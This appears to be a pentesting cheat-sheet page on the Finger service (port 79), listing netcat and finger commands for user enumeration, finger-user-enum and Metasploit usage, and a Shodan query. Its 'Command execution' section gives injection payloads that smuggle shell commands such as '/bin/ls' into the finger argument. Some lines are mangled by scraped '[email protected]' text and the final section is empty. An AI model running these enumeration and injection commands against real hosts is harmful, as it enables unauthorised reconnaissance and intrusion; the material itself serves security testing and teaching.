79 - Pentesting Finger

Basic Info

Finger is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office location and phone number (if known), login time, idle time, time mail was last read, and the user's plan and project files.
Default port: 79
1
PORT STATE SERVICE
2
79/tcp open finger
Copied!

Enumeration

1
nc -vn <IP> 79
2
echo "root" | nc -vn <IP> 79
Copied!

User enumeration

1
finger @<Victim> #List users
2
finger [email protected]<Victim> #Get info of user
3
finger [email protected]<Victim> #Get info of user
Copied!
Alternatively you can use finger-user-enum from pentestmonkey, some examples:
1
finger-user-enum.pl -U users.txt -t 10.0.0.1
2
finger-user-enum.pl -u root -t 10.0.0.1
3
finger-user-enum.pl -U users.txt -T ips.txt
Copied!

Nmap execute a script for doing using default scripts

Metasploit uses more tricks than Nmap

1
use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Command execution

1
finger "|/bin/[email protected]"
2
finger "|/bin/ls -a /@example.com"
Copied!

Finger Bounce

1
